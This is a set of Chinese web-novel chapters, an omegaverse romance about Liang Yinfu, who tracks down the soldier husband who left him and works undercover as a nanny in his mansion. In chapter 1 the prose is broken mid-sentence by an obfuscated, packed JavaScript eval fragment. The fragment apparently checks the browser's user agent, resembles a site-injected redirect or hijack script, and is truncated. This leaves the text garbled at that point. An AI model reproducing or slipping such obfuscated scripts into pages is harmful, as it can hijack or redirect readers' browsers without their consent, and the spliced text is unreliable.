《大纲文合集》 1. 小美人寻夫记(1) 小美人叫梁因芙,是个Omega。 年纪是真不大,脸庞上还带着点未完全褪去青涩柔软的轮廓,可生得实在是漂亮。 天然蓬勃,仿佛山间带着露水的野蔷薇般的灵动漂亮。 眼睛尤其出彩,瞳仁是清透的琥珀色,看人时眼波流转,带着不自知的媚,笑起来眼尾微微上挑,又添了几分狡黠的甜。 因为生得这样出挑,梁因芙的眼光自然也高。 镇上明里暗里追求他的Alpha不算少,有家世不错的,有长得周正的,也有踏实肯干的。 可梁因芙那双漂亮的眼睛扫过去,总觉得这个不够高,那个气质太土,再一个信息素的味道不合心意。 他就是只骄傲又挑剔的小孔雀,昂着脖颈,谁也看不上,总觉得还没遇到那个最好最配得上他的。 他生活的这片区域,不算太平,局势总是有些微妙,偶尔会有零星的摩擦。 梁因芙的父亲从前也是个军人,退役后回到镇上,开了家小杂货铺。 老爷子把当年用过的一把老式手枪留给了梁因芙,有这把枪在,即便梁因芙是个Omega,偶尔在镇上集市会碰上些不三不四,口头上占点便宜的混混,也没人真敢对他动什么歪心思,都知道这漂亮小O不是好惹的。 后来,梁因芙还是嫁人了。 嫁了个了不得的老公,至少在他们这片地方,对方是个军人,是那种真刀真枪,在战事里滚过的军人。 这是梁因芙很长一段时间里,最值得骄傲,最乐意跟人提起的事。 那男人是梁因芙有次去后山捡蘑菇时遇上的。就躺在林子里,浑身是血和泥,昏迷不醒,身上穿着破烂不堪,但依稀能看出制式痕迹的军装。 梁因芙胆子大,凑近了看,发现人还活着,而且长得真帅。 即便脸上沾着血污,也掩不住那过于立体的五官,眉骨很高,鼻梁挺直,个子也极高,肩膀宽阔,即使昏迷着也能看出衣服下是副结实精悍的好身板。 他把人连拖带拽弄回了家,藏在堆放杂物的阁楼里,偷偷治伤。 男人醒来后,话很少,眼神很沉,野兽般的警觉和漠然。 他只说自己叫岑叙,其他的,比如怎么受的伤,一概不提。 梁因芙也不多问,每天乐颠颠地给他送饭换药,撑着小巧的下巴,趴在床边,眨着那双琥珀色的大眼睛看他。 阁楼的小窗透进黄昏暖融融的光,落在梁因芙灵动的脸上,睫毛在眼下投出两弯小小的阴影。 他看了男人好一会儿,忽然开口,声音又软又脆,带着点天真:“喂,你别回去了,我们俩结婚好不好?你在那里躺了那么久都没人来救你,说不定其他人都以为你死了,我长得这么好看,配你绰绰有余了。” 前些日子就有一个队部早就撤离开了。 岑叙躺在简陋的床铺上,伤口还在隐隐作痛。他沉默地看着梁因芙在光晕里那张漂亮得过分的脸,看了很久。 然后,他点了下头。 于是,他们就这么结婚了。 婚礼在镇子上办的,说不上多奢华,但足够热闹。 来的人很多,都想看看梁因芙这个眼光高上天的小美人,最后到底嫁了个什么样的Alpha。 岑叙穿着梁因芙不知从哪儿弄来的一套西装,身姿笔挺地站在那里,不说话,光是那股子沉静冷冽,又带着隐隐压迫感的气势,就足以让所有人明白,这绝对不是什么普通人。 大家都说,梁因芙这回真是嫁了个顶顶好的男人,有本事,模样也周正,看着就可靠。 梁因芙对外介绍自己老公时,下巴抬得高高的,掩饰不住的得意,说岑叙以前是军官,可厉害了,家里还有钱,是专门来这边执行秘密任务的。 他说得有鼻子有眼,把自己都快要骗过去了。 其实梁因芙心里门儿清,岑叙被他捡回来时,除了那身破军装和一块冰冷刻着名字和编号的身份铭牌,根本身无分文,穷得叮当响。 可这有什么关系?人是他捡回来的,现在是他的人了。 岑叙话少,但做事利落。 家里家外,凡是需要力气的活,他全包了。 修缮房屋,甚至梁因芙杂货铺里搬货的活儿,他都一声不吭地干得又快又好。 他好像什么都会,上手极快,力气也大得惊人。 梁因芙乐得当甩手掌柜,每天只要把自己打扮得漂漂亮亮,指挥指挥岑叙这儿要弄一下,那儿该修了就行。 当然,不止干活行。 床上也很行。 岑叙平时看着沉默冷硬,可到了夜里,却有着和白天截然不同凶悍的侵略性。 信息素是冷冽的雪松混合着火药般灼热的后调,强势地将梁因芙完全包裹。 梁因芙起初还有点怕,后来便只剩下餍足,白皙的皮肤上总是留下点暧昧的痕迹,被他半是抱怨半是炫耀地遮掩着。 他很满意,满意得不行。 觉得这男人简直是按他心意长的,哪儿哪儿都好。 有了岑叙之后,梁因芙彻底过上了十指不沾阳春水的日子。 以前还会看看铺子,做点简单的家务,现在全被岑叙接手了。 他每天睡到自然醒,起来就有热乎乎的饭菜,家里永远干净整洁,连他换下来带着信息素味道的贴身衣物,岑叙都会默不作声地拿去洗干净,晾在院子里,被阳光晒得蓬松柔软。 没多久,梁因芙就怀孕了。 起初只是胃口不好,犯恶心,他还以为是吃坏了东西。 等镇上的医生笑眯眯地恭喜他时,他才反应过来,摸着自己尚且平坦的小腹,先是愣住,随即便是惊喜。 岑叙知道后,第二天炖了整整一下午的汤,逼着梁因芙喝了两大碗。 梁因芙讨厌说不想喝。 岑叙一边哄一边道:“宝宝,再喝一口。” 怀孕后的梁因芙,更是被岑叙当成眼珠子似的养着。 什么重活都不让碰,好吃好喝地伺候着,偶尔脾气上来了,使点小性子,岑叙也都由着他。 梁因芙原本就白的皮肤,因为孕期的滋养,更是透出一种健康白里透红的好气色,眼眸水润,唇色嫣红,整个人像颗被精心呵护,吸饱了水分和阳光的饱满果实,比没怀孕时更添了几分娇艳慵懒的风情。 村子里的人见了,没有不羡慕的。 那些原本觉得梁因芙眼光太高,嫁不出去的人,现在也改了口风,逢人便说:“瞧瞧人家因芙,就是有福气,嫁了个好Alpha,又会疼人,又能干,看把因芙养得多水灵!真是好福气哟!” 梁因芙当然逢人就说他老公好,坐在自家杂货铺门口的小板凳上,但凡有人路过搭话,问起岑叙,他那张漂亮的小脸上就会立刻泛起光彩:“我老公他很厉害,又会干活,对我可好了。” 他说得理所当然,仿佛岑叙就是这世上最好,最完美的Alpha,值得他每天挂在嘴边炫耀。 这样的日子,像抹了蜜,甜丝丝的,一天天过得飞快。 直到那天,岑叙出门前,和平常有些不一样。他走到床边,俯身,亲吻还在被窝里,睡眼惺忪的梁因芙。 吻得很深,很用力。 梁因芙正睡得迷迷糊糊,被亲得手脚发软,意识涣散,只凭着本能伸手搂住岑叙的脖子,声音又软又哑,带着浓浓的睡意和撒娇般的抱怨:“老公……别亲了,我还想再睡一会儿……” 他以为岑叙只是像往常一样。 岑叙停住了亲吻,额头抵着他,深深地看了他几秒。那双情绪不多的眼睛里,此刻翻涌着极为复杂的东西,像是挣扎,又像是做好了某个沉重的决定。 他什么都没说,只是用指腹很轻地擦过梁因芙被亲得红肿的嘴角,然后说了句等我。 结果,他老公这一去,就再也没有回来。 第一天,梁因芙没太在意,以为岑叙是走得远了,耽搁了。 第二天,他开始有点心焦,时不时跑到门口张望。 第三天,第四天……时间一天天过去,岑叙就像人间蒸发了一样,杳无音信。 梁因芙从最初的焦灼,到后来的不安,再到要压垮他的恐慌,他抱着越来越沉的肚子,每天挺着大肚子在门口的路上来回走,望眼欲穿。 孩子就是在这样日复一日的等待和煎熬中,突然发动的。 整个过程混乱,漫长,夹杂着梁因芙嘶哑的哭喊和要撕裂身体的剧痛。 他脑子里一片空白,只有一个念头反复冲撞:岑叙在哪里?为什么不在? 别人生孩子的时候,旁边都有老公守着,握着妻子的手,说些鼓励的话,梁因芙只有一个人。他死死抓着床单,指甲掐进掌心,疼得眼前发黑,却只能死死咬着嘴唇,把涌到嘴边呼唤岑叙的名字咽回去。 汗水混着泪水,糊了满脸,漂亮的五官痛苦地扭曲着。 当婴儿响亮的啼哭终于划破压抑的空气,护士把孩子擦干净,用柔软的包被包好,递到他婶婶怀里时,梁因芙已经累得连手指都抬不起来了。 他婶婶抱着那小小红彤彤的一团,凑到他眼前,脸上带着喜色,却也掩不住担忧,小声说:“因芙,你看,是个儿子,长得真俊,像你,只是你老公他是不是真的出了什么事了?怎么这么久都不回来?这生孩子是天大的事啊……” 梁因芙也打鼓,怕得要命,怕岑叙真的在外面遇到了不测,怕他再也回不来了。 可当着外人的面,他那点骄傲和倔强又不允许他露怯,他苍白着脸:“他有点事,要去办,办完了就回来,把孩子给我吧。” 小小的婴儿被放到他臂弯里,很轻,很软,带着新生命奶乎乎的暖意。 孩子闭着眼睛,小嘴无意识地嚅动着,梁因芙笨拙地解开衣襟,尝试着喂奶。初乳的分泌并不顺畅,孩子吮吸的力道却出乎意料的大,一阵尖锐的刺痛传来,梁因芙疼得倒抽一口凉气,眼眶瞬间就红了。 他手忙脚乱,姿势别扭,孩子因为吃不到足够的奶水,开始不满地啼哭,小脸憋得通红。 梁因芙看着怀里因为吃饱了,终于安静睡去的小脸,那张皱巴巴的,依稀能看出岑叙影子的眉眼,忍了又忍的眼泪,终于决堤。 他真不会照顾孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是,屏幕里的男人,穿着剪裁合体,质料昂贵的深灰色西装,头发梳理得一丝不苟,眼神是久居上位冷静到漠然的锐利。 和他记忆里那个沉默干活,会在夜里用力亲吻他的岑叙,气质天差地别。 屏幕下方打出的字幕,清晰地写着:A区军事首执行官,关擎。 关擎。 不是岑叙。 梁因芙抱着孩子,站在人来人往的街头,怀里的孩子似乎感觉到了他身体的僵硬,不安地扭动了一下。 梁因芙却浑然未觉,他只是死死盯着屏幕里那张脸。 伤心,愤怒,被欺骗的耻辱,还有连日来积压的委屈,担忧,疲惫,如同火山熔岩,轰然爆发,烧得他五脏六腑都在疼。 梁因芙以为岑叙是出了意外,是迫不得已,他甚至做好了最坏的打算,可结果,他的Alpha,他孩子的父亲,好好地活着,光鲜亮丽地出现在电视上。 他不甘心。他要一个说法。 凭什么? 梁因芙用身上最后一点钱,打听到了关擎的住所,城市最顶级的豪宅区之一。 他抱着孩子,远远地躲在一棵枝叶茂盛的行道树后面,看着那辆线条流畅的黑色豪车缓缓驶入雕花铁门。 车门打开,先下来的果然是电视上那个男人,然后,他绕到另一边,扶着一个Omega下车。 那个Omega肚子隆起,显然已经怀孕,姿态优雅,穿着舒适昂贵的孕妇装,脸上带着温婉幸福的笑容。 关擎对他说着什么,然后一笑。 这算什么? 他这是被抛弃了? 梁因芙看着那一幕,只觉得全身的血液都冷透了,抱着孩子的胳膊不住地发抖,怀里的宝宝似乎不舒服,小声地哭了起来。 梁因芙慌忙低头,笨拙地摇晃着,嘴里发出安抚音节,眼泪却大颗大颗地掉下来,砸在孩子柔软的小帽子上。 伤心和愤怒过后,一股破罐子破摔的狠劲涌了上来。 他不能就这么算了。 梁因芙想起岑叙,或者说关擎离开时,留下过一枚戒指。 他擦干眼泪,哄睡了孩子,然后,气冲冲地杀到了关擎那栋豪宅的气派大门前。 门口的保安眼神警惕地打量着他,一个抱着婴儿,衣着普通甚至有些寒酸,却长得异常漂亮的年轻Omega。 “你找谁?有什么事?”保安的语气还算客气。 梁因芙强迫自己冷静下来。 他不能硬闯,也闯不进去。 他低头,看着怀里睡梦中咂吧着小嘴的儿子,一个念头飞快地闪过脑海。 他再抬起头时,脸上那些激烈的情绪已经被他努力压了下去,换上了一副带着点窘迫,又极力想表现得诚恳的表情,声音也放软了些,带着Omega特有容易让人降低戒心的柔软:“我……我是来应聘保姆的,我生过孩子,有经验,听说关先生家里需要人照顾孕妇,我就想来试试。” 2. 小美人寻夫记(2) 那保安一听梁因芙是来当保姆的,上下打量了他一番。 面前这个Omega,虽然抱着个孩子,但那张脸实在是漂亮得过分,眼睛大而亮,鼻梁秀挺,嘴唇是天然的嫣红,即便此刻脸色有些苍白,神情带着点窘迫,也掩不住那份惊人的姿色。 年纪看起来也很轻,顶多二十出头,这么小就带着个孩子出来找活干,确实有点让人意外。 不过看他怀里的孩子裹得严实,睡得正香,不像是有假,而且他说话时带着点小镇口音,也不像是别有用心的人。 保安没多大怀疑,就挥挥手让他进去了,只是叮嘱他进去后别乱走。 梁因芙心里咚咚直跳,抱着孩子,找到了关擎那栋独栋别墅的门,敲了敲门。 开门的是一个Omega。正是那天梁因芙远远看见被关擎小心翼翼扶下车的那一个。 他穿着一身质料柔软舒适的浅色家居服,肚子高高隆起,看起来月份不小了,但身形并不显得笨重。皮肤是养尊处优的细腻白皙,眉眼温柔,嘴唇红润,半长发松松地绾在脑后,露出线条优美的脖颈。 他站在那里,一手扶着门框,一手轻轻托着肚子,整个人透着一股被精心呵护,生活富足安宁的,从容又温婉的气息。 和此刻风尘仆仆的梁因芙一比,简直是一个天上,一个地下。 梁因芙看着眼前这个Omega,和他周身那种毫不作伪的,被爱意浸润过的光彩,再低头看看自己,一股巨大的酸楚和屈辱,混合着连日来的疲惫,委屈,愤怒,猛地冲上眼眶。 他死死咬着下唇,才没让眼泪当场掉下来,但眼眶已经红了,鼻尖也泛着酸。 林幻真看着门外这个过分漂亮,却又明显带着狼狈和疲惫的年轻Omega,微微愣了一下。 他语气温和,带着点疑惑:“……你是阿擎找来的小保姆吗?” 他记得关擎提过,想找个有经验的保姆,方便照顾他生产后的月子。 叫得可真亲热啊。梁因芙在心里扭曲又阴暗地想。 你就是个小三,抢了我老公,现在还摆出一副主人的姿态! 渣男!贱男!你们简直是一窝混蛋! 他心里翻江倒海,恨不得立刻把怀里这个长得像关擎的孩子摔到对方脸上,让他看看这是谁的儿子! 林幻真见他只是红着眼睛瞪着自己,不说话,以为他是紧张或者被吓到了。 他侧了侧身,让出门口的位置,语气依旧温和,甚至带上了点同情,这么年轻就带着孩子出来讨生活,肯定不容易。 “先进来吧,外面风大,别冻着孩子。” 他注意到梁因芙怀里的婴儿开始哭起来,小脸红了。 梁因芙僵硬地抱着孩子走了进去。 屋内温暖明亮,装修简约而富有格调,空气里飘着淡淡的花香和好闻的食物香气。 一切都井然有序,干净舒适,这更印证了他的猜想,关擎在这里,过着优渥的生活。 而他呢?带着孩子,像个乞丐一样找上门。 林幻真让他在柔软的沙发上坐下,又去给他倒了杯温水。孩子还在哭,声音洪亮。 这孩子长得像梁因芙那个死鬼老公,骨架大,能吃,力气也大,哭起来中气十足。梁因芙本来就不会带孩子,这些天一个人手忙脚乱,更是被折腾得够呛。 原本想着,孩子是两个人生的,男人就该负责带,结果关擎一走了之,留下他一个人,面对这个嗷嗷待哺需求旺盛的小祖宗,简直是焦头烂额,身心俱疲。 他笨拙地摇晃着,嘴里发出不成调的哄劝,可孩子根本不买账,哭得更凶了。 林幻真自己马上也要生孩子了,正是爱心泛滥的时候。 看到梁因芙怀里那个小小软软,却哭得撕心裂肺的婴儿,爱心和同情心立刻就上来了。 他暂时也顾不上问别的,连忙对梁因芙说:“你先哄哄孩子,别急,慢慢来。” 他在旁边轻声指导着,教他怎么抱得更舒服,怎么轻轻拍抚后背。 梁因芙看起来不太会带孩子。 等孩子哭得没那么厉害了,只是抽抽噎噎地,林幻真才重新看向梁因芙,目光落在他年轻却憔悴的脸上,轻声问道:“你怎么带着这么小的孩子出来做事?家里人呢?” 梁因芙低着头,看着怀里渐渐安静下来的儿子,长长的睫毛垂着,遮住了眼底翻涌的恨意和委屈。 他再抬起头时,脸上已经换上了一副泫然欲泣,楚楚可怜的表情,声音也带上了哽咽,半真半假地开始编造自己的身世:“我男人不要我们了。他跟别人好了跑了。就留下我们孤儿寡O的,在小地方活不下去了,听说城里机会多,我就带着孩子出来了,想找点事做,好歹有口饭吃。” 他说得断断续续,语无伦次,眼泪在眼眶里打转,要掉不掉,配上他那张漂亮得过分的脸,和怀里襁褓中懵懂无知的婴儿,真是要多可怜有多可怜。 林幻真是个心软的,性格也温顺善良。 他看着梁因芙那么年轻,看起来比自己还小几岁,却已经遭遇了这么多不幸,被骗失身,生下孩子又被抛弃,一个人带着这么小的婴儿,从偏远的地方来到这人生地不熟的大城市,无依无靠。 这身世,简直太可怜了。 同情心和同为Omega,即将为人父的共情心理,瞬间就压倒了那点因为梁因芙那么笨拙带孩子不太专业的业务能力。 他觉得梁因芙不像坏人,就是命太苦了。 “哎,你这也太不容易了。” 林幻真叹了口气。 他想到关擎提过要找保姆,眼前这个Omega虽然年轻,但自己生过孩子,有带孩子的经验,正好合适。 而且,把人留下来,也算是做了件好事,帮了这个可怜的Omega一把。 林幻真:“既然你也没地方去,又带着孩子要不,你就先留在这里吧。阿擎正想找个有经验的保姆,你生过,也有经验,应该能行。” 梁因芙心里冷笑一声,面上却露出感激和卑微的神情,声音哽咽:“谢谢您,您真是好人。谢谢您收留我们。” 林幻真带着梁因芙,去了位于别墅一楼的保姆房。房间不大,但干净整洁,有独立的卫生间和小小的窗户,比起梁因芙之前住的出租屋,条件好得多。 别墅里其实还有别的佣人,负责打扫,做饭,园艺,只是不常出现在主人活动的区域。 梁因芙在这里一呆就是好几天。 他每天大部分时间都陪着林幻真,聊天,晒太阳,一起准备婴儿用品。 林幻真性格温和,没什么架子,对梁因芙这个身世可怜的年轻Omega很是照顾,没让他干什么重活。 不过几天下来,梁因芙连关擎的影子都没见到。 林幻真说:“阿擎很忙,经常很晚才回来,有时候就直接住外面了。” 语气里感觉全是对丈夫事业繁忙的理解和包容。 等真正见到关擎的时候,已经是梁因芙住进来快一周的一个傍晚。那天关擎回来得比平时早些。他推开门,他一眼就看到了客厅沙发旁,多了一个陌生的身影。 一个过分漂亮的年轻Omega,怀里抱着个襁褓,正微微低着头,似乎在小声哄着孩子。 那Omega穿着简单的常服,头露出一截雪白脆弱的脖颈,侧脸线条精致得不像话。梁因芙最近光陪着林幻真聊天解闷了,几乎没做什么保姆的实质工作,看起来倒更像是来做客的。 梁因芙的孩子,叫小宝,继承了关擎深邃的轮廓,又结合了梁因芙五官的精致,确实很可爱。 林幻真自己快生了,特别喜欢这个小婴儿,时常会从梁因芙手里接过来抱着,轻轻摇晃,眼里满是温柔的笑意。 那天,梁因芙正抱着哭闹的小宝,试图哄他安静。关擎高大的身影出现的时候,梁因芙的心瞬间提到了嗓子眼,抱着孩子的手臂不自觉地收紧,全身的肌肉都绷紧了,甚至做好了被认出,被质问,甚至被当场赶出去的心理准备。 他以为关擎会吓死,至少会震惊,会失态。 但是,什么都没有。 关擎的目光只在梁因芙脸上停留几秒,更别提去看他怀里的孩子,看梁因芙,跟看这屋里任何一个陌生佣人没有任何区别。 梁因芙整个人僵在那里,血液 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语气里是替梁因芙说好话的意思。 关擎听完,只淡淡地“嗯”了一声,点了点头,表示知道了,然后就收回视线,继续低头喝汤。 梁因芙抱着哭闹不止的小宝,退回到保姆房。 他坐在床边,一边笨拙地解开衣襟给饿极了的小宝喂奶,一边脑子里嗡嗡作响。 他想起刚才关擎看自己时那完全陌生,毫无波澜的眼神,还有那句轻描淡写的“嗯”。 他简直要气笑了。 关擎的演技,可真是好啊。 他怎么可以,怎么可以装作完全不认识他?怎么可以对他,对他们的孩子,视若无睹? 这几天跟林幻真相处下来,梁因芙心里其实挺不是滋味的。 林幻真这个人,是真的不错。 温柔,善良,没心眼,对他这个小保姆也处处关照,知道他带着孩子不容易,还特意让人去买了些质量好的婴儿用品和适合Omega的营养品送给他。 一看就是那种家境优渥,被保护得很好,没经历过什么风雨的,又美又善良的白富美。 这样一个人,居然被关擎这个贱人给骗了,真是便宜他了! 梁因芙心里又酸又恨,五味杂陈。 他关擎和林幻真,貌似并不睡在一间卧室。 关擎的卧室在三楼,而林幻真因为怀孕,为了方便和舒适,一直住在二楼带独立卫浴和起居室的主卧。 梁因芙知道后,心里更是冷笑连连。 关擎这个贱人,什么时候变得这么贴心了?知道Omega怀孕辛苦,不打扰休息? 他当初怀小宝的时候,肚子都那么大了,行动不便,关擎可没这么体贴,该缠着他的时候照样缠着,力气大得跟什么似的,跟条不知餍足的狗一样! 现在倒好,知道装绅士,知道保持距离了?贱男人!双标狗! 这股无处发泄的怨气和被彻底忽视的屈辱,在梁因芙心里越积越厚,梁因芙哄睡了小宝,把他轻轻放在保姆房的小床上,盖好被子。 然后,他上了三楼,来到关擎卧室门外,他抬起手。 “叩,叩,叩。” 声音一下比一下重。 等了很大一会。 里面传来轻微的响动,然后,门被从里面拉开了。 关擎站在门口,身上穿着深色的丝质睡袍,腰带松松地系着,露出同样结实的一片胸膛。 他显然已经准备休息,头发有些凌乱,带着被打扰的不悦。 当他看清门外站着的人时,目光先是落在梁因芙那张过分漂亮的脸上,然后,视线下移,扫过他露出大片肌肤的领口…… 关擎的脸色瞬间沉了下去,他盯着梁因芙,眼神锐利如刀:“既然来当保姆,就安分一点。做好你分内的事,不该有的心思不要动,否则就不要留在这里了。” 说完,他不再看梁因芙难以置信的眼神,伸手,“砰”地一声,重重地关上了房门。 吃了闭门羹的梁因芙:“??” 3. 小美人寻夫记(3) 梁因芙觉得,关擎这装傻充愣,翻脸不认人的演技,可真是炉火纯青。 他被那扇厚重的房门隔绝在外,实木门板几乎要贴上他的鼻尖,里面再没传出半点声响。 梁因芙胸口因为愤怒和屈辱剧烈起伏。 大半夜的,他又不可能真的大呼小叫,把所有人都吵醒。 好啊。 装作完全不认识他是吧?把他打成一个不知天高地厚,试图勾引男主人心术不正的小保姆是吧? 梁因芙走回一楼的保姆房。 他隐隐猜到了关擎为什么要装作不认识他。 因为林幻真。 那天在电视上看到的报道,还有这些天在这栋豪宅里感受到与小镇截然不同的优渥生活,都明明白白地告诉他林幻真的家世肯定很不一般。 梁因芙从小在小地方长大,没见过什么大世面,对什么官大官小,豪门世家没什么具体概念,但他不傻。 看关擎现在这派头,这房子,这佣人,这气度,混得这么好,简直是人上人。 关擎当初流落到他的小镇时,浑身是伤,身无分文,就是个来历不明的穷光蛋。 现在摇身一变,成了什么大官,娶了家世显赫的Omege,成了凤凰男中的顶配,正是春风得意的时候。 他怎么可能敢认他? 认了,就等于承认自己有一段不堪的过去,承认自己骗婚,自己是个抛妻弃子的渣男,更会得罪林幻真背后那个一看就不好惹的家族。 他好不容易攀上的高枝,怎么可能因为他这个旧人而毁掉? 所以,最好的办法,就是彻底否认,当梁因芙不存在。 梁因芙想通了这一点,心里那股被背叛被抛弃的恨意,几乎要把他整个人都吞噬。 但同时,想要撕破关擎伪装的念头,也疯狂地滋长起来。 好啊,你想装不认识,想当我是空气?我偏不让你如愿。 第二天,梁因芙就开始故意在关擎面前晃悠。 大清早,关擎下楼准备用早餐,刚走到楼梯转角,就看见那个小保姆正抱着孩子,站在客厅的落地窗前假装看外面的花园。 晨光透过玻璃,给他周身镀上了一层朦胧的光晕,侧脸线条精致柔和,垂眸看着怀里婴儿时,神情似乎带着神行和温柔。 关擎有一瞬的愣神,的视线不经意扫过去时,梁因芙立刻抬起头,目光直直地撞上他,那眼神里面混杂着委屈,控诉,伤心,甚至还有恨意。 因爱生恨? 关擎眉头蹙了一下,脚步未停,径直走向餐厅。他心想,林幻真到底从哪里找来这么个心术不正的人?年纪看着不大,顶多二十出头,仗着一副皮囊生得好看,就敢动不该动的心思。 这么年轻就生了孩子,还不知道是跟什么人生下的,现在又带着孩子出来攀高枝,这种人留在这里实在是个隐患。 他得找个机会,跟林幻真说说,把人打发走。 今天是周末,关擎难得休息。 上午,他陪着林幻真在别墅后面的玻璃花房里喝茶。 花房里温暖如春,各种名贵的花卉开得正好,空气里浮动着淡淡的馨香。 林幻真因为孕期嗜睡,醒得迟,此刻刚起来不久,穿着舒适的家居服,坐在铺着软垫的藤椅上,脸色红润,眉目舒展,整个人都透着一股被娇养和呵护得很好的安宁幸福。 梁因芙在旁边伺候茶水点心。 他今天格外勤快,林幻真不能喝茶,给关擎倒茶的时候,就在壶嘴即将对准杯口的时候,他手腕似乎不小心抖了一下,温热琥珀色的茶水,就那么偏了一点点,不偏不倚,泼洒在了关擎熨烫平整质料昂贵的休闲裤上,洇湿了一大片,颜色深暗,还冒着微微的热气。 “啊!对不起对不起!” 梁因芙立刻惊呼一声,放下茶壶。 关擎的脸色沉了下来。他低头看了一眼裤子上那片湿迹,又抬眼看向梁因芙。 对方正低着头,露出一截雪白脆弱的脖颈,肩膀微微颤抖,看起来可怜极了。 可关擎没有错过在那低垂的眼睫下,一闪而过的窃喜。 “连这点小事都做不好,毛毛躁躁,既然做不来就不要留在这里了,给他结清这个月的工资,让他今天就走。” “阿擎。” 林幻真连忙出声阻止,“你别这样。小梁他不是故意的,他命很苦,从小地方来,男人又很坏,抛弃了他们,他一个人带着这么小的孩子,如果离开了这里,你让他去哪里?怎么活? “而且,你平时工作忙,也不常在家里,用不着时常看见他,就当是行行好,给他们一条活路吧。” 林幻真心软,看不得梁因芙这副可怜样,更不忍心看到小宝这么小就跟着梁因芙颠沛流离。 梁因芙立刻顺着林幻真的话,把头垂得更低,声音哽咽,带着浓浓的委屈和自责:“对不起,关先生,都是我不好,我太笨了,毛手毛脚的您别赶我走,我以后一定小心。” 他一边说着,一边用眼角的余光,飞快挑衅地扫了关擎一眼,然后在林幻真看不见的角度,对着关擎,极其迅速用口型无声地说了个“死渣男”,甚至还幅度极小地冲他竖了个中指。 做完这一切,他又立刻恢复成那副泫然欲泣,我见犹怜的模样。 关擎:“…………” 死渣男! 一定是因为害怕林幻真知道!所以才这么急着想把我赶走!梁因芙心里恨恨地想。 关擎将梁因芙那点小动作尽收眼底,胸口一阵郁结。 有林幻真护着,今天是不可能把这个麻烦精赶走了。 他也确实不想在林幻真面前,为这点小事闹得不愉快,林幻真现在怀着孕,情绪不宜激动。 他答应了要照顾他的。 关擎:“……随便你们吧。” 说完,他不再看梁因芙,拿起旁边的毛巾,擦了擦裤子上的水渍,然后起身对林幻真说:“我上楼换件衣服。” 作为主人被一个来历不明,心怀叵测的小保姆几次三番地挑衅算计,看在对方带着孩子的份上,看在林幻真心软的份上,强忍着不能发作。 这种感觉实在有点憋屈。 关擎自认不是什么好脾气的人,可看着梁因芙那张过分漂亮,却总是写满幽怨和挑衅的脸,还有他怀里那个懵懂无知的婴儿,再想到林幻真提起他时那充满同情和怜悯的语气,关擎终究还是把那股邪火压了下去。 算了。 一个小地方来的被男人抛弃的可怜Omega,带着个拖油瓶,无依无靠,能掀起什么风浪? 不过是想用这种方式引起注意,或者单纯发泄对Alpha这个群体的怨恨罢了。 只要他不做得太过分,看在林幻真的面子上,就当他们俩做个伴吧。 反正关擎平日里工作忙,十天半个月也回不来几次,眼不见为净。 结果,就在关擎这么自我安慰,准备继续实行无视政策后没几天,梁因芙就给了他一个更大的惊喜。 那天晚上,关擎处理完一些紧急邮件,从书房回到卧室。他有些疲惫,打算冲个澡就休息。 刚脱了上衣,露出精壮结实的上半身,还没来得及走进浴室,卧室的门就被人砰地一声,毫不客气地从外面推开了。 梁因芙大摇大摆地闯了进来,怀里没抱孩子,那双漂亮的琥珀色眼睛里满满是挑衅。 关擎脸色沉得能滴出水来,下意识地抓起刚刚脱下的衬衫,挡在身前遮住赤裸的胸膛。 这突如其来的闯入,对方肆无忌惮的打量,都让关擎感到一种被冒犯的愤怒和难堪。 “你干什么?谁让你进来的?出去!” 他的声音压得很低,带着山雨欲来的寒意。 谁知梁因芙非但没被吓退,反而抱着手臂,上下将他打量了一番,眼神里没有半分羞涩或慌乱,反而带着一种近乎轻蔑挑剔的审视,然后,他撇了撇嘴,露出一副“谁没见过似的”不屑表情。 关擎被他这反应弄得一怔,随即怒火更甚。 他还从没被人用这种眼神看过。 他扣上衬衫最上面的两颗扣子,勉强遮住身体,目光如冰刃般射向梁因芙,声音从牙缝里挤出来:“你到底想干什么?立刻出去!” 梁因芙往前走了一步,距离更近了些,能清晰地看到他眼里跳跃的火焰和快意。 “我想干什么?” 他扬起小巧的下巴,“我知道 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“砰!” 关擎站在原地,眼神晦暗不明。 这个梁因芙,绝对有问题。 第二天关擎拿起内线电话,拨给了自己的特别助理,让他去查了梁因芙。 接下来的几天,关擎虽然依旧很少回家,但心里却一直记挂着这件事。 结果很快出来了。 助理的调查很详细,但结果却让关擎更加困惑。 报告显示,梁因芙,二十二岁,出生在边境一个偏远小镇,父母早亡,靠着父亲留下的杂货铺长大。学历不高,Omega,未婚,但有一个不到一岁的儿子,登记在案,另外一个父亲信息不详。 大约半年前,他带着孩子离开小镇,辗转来到了这座城市直到被林幻真捡回来当保姆。 背景干净得不能再干净,就是一个最普通,甚至有点凄惨的底层Omega的样本,没有任何可疑的社会关系,更不可能和关擎这样的人有什么交集。 至于他口中那个跑了的老公,查无此人。 关擎看着那份报告,眉头紧锁,难道真的只是自己想多了? 这个梁因芙就是被男人伤透了心,精神受了刺激,所以看所有Alpha都不顺眼,把对那个渣男的恨意,转移到了自己身上? 关擎想不通。 但调查结果摆在那里,他又不能真对一个精神可能有问题带着孩子的可怜Omega做什么。 他只能把这件事暂时压下,心里却对这个梁因芙,多了十二万分的警惕和好奇。 既然赶不走,调查又没结果,关擎不得不改变策略,他开始有意无意地更多地观察梁因芙。 他想看看,这个人到底想干什么,到底是真的疯了,还是藏着别的什么目的。 这一观察,关擎就发现,梁因芙此人,的确是真的很讨厌他。 每次看到他,梁因芙要么是直接甩个白眼,扭过头去,要么就是用那种幽怨又愤恨的眼神死死盯着他,直到他看回去,才不甘心地移开视线。 最过分的一次,是在一个下午。 关擎难得在家处理工作,有些口渴,看到梁因芙正好在客厅,便随口道:“给我倒杯咖啡来。” 梁因芙闻言,抬起头,看了他一眼,那双漂亮的眼睛里闪过一丝奇异的光,然后,他放下手里正在叠的小宝衣服,应了一声:“好吧。” 关擎疑惑他今天怎么没呛自己,这么痛快。 于是他没走远,偷偷扒在墙角,然后就看到梁因芙往他咖啡里倒刷锅水。 关擎:“…………” 过了一会儿,梁因芙端着一杯热气腾腾的咖啡走了过来,放在关擎手边的茶几上,还贴心地放了一小碟方糖,看起来无可挑剔。 梁因芙:“关先生,喝吧。” 